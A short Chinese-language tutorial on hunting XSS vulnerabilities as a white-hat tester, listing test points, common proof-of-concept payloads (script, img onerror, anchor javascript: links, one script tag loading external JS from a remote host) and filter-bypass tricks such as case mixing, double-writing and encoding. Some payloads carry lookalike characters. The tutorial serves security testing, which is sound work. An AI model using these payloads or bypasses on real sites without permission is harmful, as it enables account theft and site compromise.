XSS漏洞挖掘
作为一名白帽子如何去挖掘XSS漏洞?
数据交互(输入/输出)的地方最容易产生跨站脚本。因此,我们
最重要的是考虑哪里有输入、输入的数据在什么地方输出,一般
常会对网站的输入框、URL参数、COOKIE、POST表单、HTTP
头内容进行测试。
手工测试XSS步骤:
1、找到测试点(搜索框、留言板)
2、根据测试流程首先实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关的过滤。
例子:'<>?"&/6666
3、如果有过滤则进行相关的绕过
XSS常见POC
常见语句
常见XSS语句标签,
<script>
<script>alert(1)</script>
常见XSS语句标签,
<img>
<img src=x οnerrοr=alert(‘xss’)>
常见XSS语句标签
,<input>
<input οnclick=alert(3)>
常见XSS语句标签,
<a>
<a href=javascript:alert('xss') > xss</a>
常见XSS语句标签,<script>
1、<script>alert(1)</script>
2、<script src=http://baidu.cn/xss/xss.js></script>
3、 ‘><script>alert(1)</script>
常见XSS语句标签,<img>
1、<img src=x οnerrοr=alert(/xss/)>
2、<img src=javascript:alert(1)>//版本,E7.0|IE6.0,才能执行
3、<img src=# οnmοuseοver= "alert(1)">
常见XSS语句标签,<a>
"> <a href=javascript:alert('xss') > xss</a>
“> <a href= “” οnclick= “alert(1)”> xss</a>
XSS漏洞绕过方法:
大小写绕过 <ScRiPt>alert(1)</ScRiPt>
双写绕过 <sc<script>ript>alert(/xss/)</script>
反引号绕过 `` 绕过单双引号的过滤
关闭标签(利用<>关闭标签) "> <script>alert(1)</script>
超链接标签 < a href= > 1 </ a>
图片链接绕过 < img src=1 οnerrοr=alert(1)>
编码绕过(八进制、十进制、十六进制编码、html实体编码、url编码、base64)
空格、回车、换行符、tab、混淆
https://www.matools.com/code-convert-unicode